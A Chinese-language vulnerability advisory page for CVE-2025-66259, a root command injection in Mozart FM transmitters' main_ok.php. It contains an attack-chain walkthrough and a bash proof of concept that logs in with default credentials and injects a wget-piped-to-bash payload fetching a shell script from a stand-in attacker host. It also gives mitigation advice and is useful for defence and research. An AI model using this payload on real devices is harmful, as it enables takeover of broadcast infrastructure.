IPBUF安全漏洞报告
English
CVE-2025-66259 CVSS 9.8 严重

CVE-2025-66259: DB Electronica Mozart FM Transmitter 认证后RCE漏洞

披露日期: 2025-11-26
来源: b7efe717-a805-47cf-8e9a-921fca0ce0ce

漏洞信息

漏洞编号
CVE-2025-66259
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
DB Electronica Telecomunicazioni S.p.A. Mozart FM Transmitter

相关标签

CVE-2025-66259命令注入远程代码执行RCEMozart FM TransmitterDB Electronica认证绕过shell注入关键基础设施无线通信设备

漏洞概述

CVE-2025-66259是DB Electronica Telecomunicazioni S.p.A.公司生产的Mozart FM Transmitter系列设备中存在的一个严重安全漏洞。该漏洞影响30、50、100、300、500、1000、2000、3000、3500、6000、7000等多个型号版本。漏洞根源在于main_ok.php文件中的用户输入过滤不当,攻击者可以通过构造恶意的数据/时间参数,直接将用户输入传递给系统date shell命令,从而实现命令注入并执行任意代码。由于该漏洞的CVSS评分高达9.8(满分10分),属于紧急严重级别,攻击者可获得设备的root权限,完全控制受影响系统。此漏洞可通过网络远程利用,攻击复杂度低,无需认证或用户交互即可发起攻击。成功利用后,攻击者可窃取敏感配置信息、监听或篡改FM广播内容,甚至将设备纳入僵尸网络用于进一步攻击。鉴于该漏洞的严重性和广泛影响范围,建议相关用户立即采取修复措施。

技术细节

该漏洞属于典型的命令注入(Command Injection)漏洞。在Mozart FM Transmitter设备的web管理界面中,main_ok.php文件负责处理用户提交的日期和时间配置参数。问题在于程序直接使用用户输入的data/hour/time参数构造date命令,而未进行任何输入验证或过滤。攻击者可以通过在参数中注入shell元字符(如分号、管道符、反引号等)来执行额外系统命令。例如,在时间参数中插入分号后可执行多条命令,或者使用反引号包裹恶意命令使其被先执行后结果再传入date命令。由于设备以root权限运行web服务,注入的命令同样以root权限执行,攻击者可获得完全的系统控制权。攻击者首先需要登录设备管理界面(可能使用默认凭证或已获取的认证信息),然后构造特定的HTTP请求将恶意payload注入到时间参数中,触发命令执行。整个攻击过程简单直接,利用难度低,但危害极大。

攻击链分析

STEP 1
步骤1
攻击者访问Mozart FM Transmitter的web管理界面
STEP 2
步骤2
使用默认凭证或已获取的认证信息登录管理后台
STEP 3
步骤3
构造包含恶意payload的HTTP POST请求,目标为main_ok.php
STEP 4
步骤4
在time/hour/data参数中注入shell命令,如添加分号后跟wget或bash命令
STEP 5
步骤5
服务器将未过滤的用户输入直接传递给date命令执行
STEP 6
步骤6
注入的命令以root权限在服务器上执行,攻击者获得完全控制权
STEP 7
步骤7
攻击者可部署后门、窃取数据或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-66259 PoC - Mozart FM Transmitter RCE # Authenticated Command Injection via main_ok.php TARGET="http://target.com" USERNAME="admin" PASSWORD="admin" COOKIE_FILE=$(mktemp) # Step 1: Login to get session cookie curl -s -c $COOKIE_FILE -d "username=$USERNAME&password=$PASSWORD" \ "$TARGET/login.php" -L -o /dev/null # Step 2: Exploit command injection via time parameter # Inject command to create reverse shell PAYLOAD=';wget http://attacker.com/shell.sh|bash;#' curl -s -b $COOKIE_FILE \ -d "data=2025-01-01&hour=12&time=$PAYLOAD" \ "$TARGET/main_ok.php" -o /dev/null echo "Exploit sent. Check for reverse shell at attacker.com" rm $COOKIE_FILE

影响范围

Mozart FM Transmitter 30
Mozart FM Transmitter 50
Mozart FM Transmitter 100
Mozart FM Transmitter 300
Mozart FM Transmitter 500
Mozart FM Transmitter 1000
Mozart FM Transmitter 2000
Mozart FM Transmitter 3000
Mozart FM Transmitter 3500
Mozart FM Transmitter 6000
Mozart FM Transmitter 7000

防御指南

临时缓解措施
在厂商发布官方修复补丁之前,建议采取以下临时缓解措施:首先,立即更改所有Mozart FM Transmitter设备的管理后台默认密码为强密码;其次,通过防火墙或访问控制列表限制web管理界面的访问,仅允许授权的管理IP地址访问;此外,监控设备日志关注异常的HTTP请求和系统命令执行行为;最后,如条件允许,可考虑暂时禁用设备的远程web管理功能,改为本地管理以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表